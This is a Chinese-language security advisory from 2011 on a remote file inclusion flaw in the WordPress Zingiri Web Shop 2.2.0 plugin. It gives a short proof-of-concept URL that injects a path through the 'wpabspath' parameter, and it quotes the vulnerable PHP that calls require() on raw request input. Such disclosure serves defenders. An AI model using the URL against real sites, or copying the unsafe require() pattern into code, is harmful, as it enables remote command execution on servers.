Wordpress Zingiri Web Shop 2.2.0远程文件包含漏洞
发布日期:2011-10-17
更新日期:2011-10-17
受影响系统:WordPress Zingiri Web Shop 2.2.0
描述:
Wordpress Zingiri Web Shop是将大型的内容管理系统转变为电子商务解决方案的插件。
Wordpress Zingiri Web Shop 2.2.0以前的版本在实现上存在远程文件包含漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
<*来源:Ben Schmidt
链接:
http://www.exploit-db.com/exploits/17865/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/zingiri-web-shop/fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI
---
Vulnerable Code
---
if ($_REQUEST['cms']=='jl') {
define('ZING_CMS','jl');
$_REQUEST['tmpl'] = 'component';
$_REQUEST['option'] = 'com_zingiriwebshop';
ob_start();
require($_REQUEST['wpabspath'].'/index.php');
ob_end_clean();
} elseif ($_REQUEST['cms']=='dp') {
//all bootstrapping is already done
} else {
if (!defined('ZING_AJAX') || !ZING_AJAX) {
/** Loads the WordPress Environment */
//require($_REQUEST['wpabspath'].'wp-blog-header.php');
require($_REQUEST['wpabspath'].'wp-load.php');
/** Load Zingiri Web Shop */
require(dirname(__FILE__).'/../../zing.readcookie.inc.php');
require(dirname(__FILE__).'/../../startmodules.inc.php');
}
}
建议:
厂商补丁:
WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://wordpress.org/浏览次数:2873
严重程度:0(网友投票)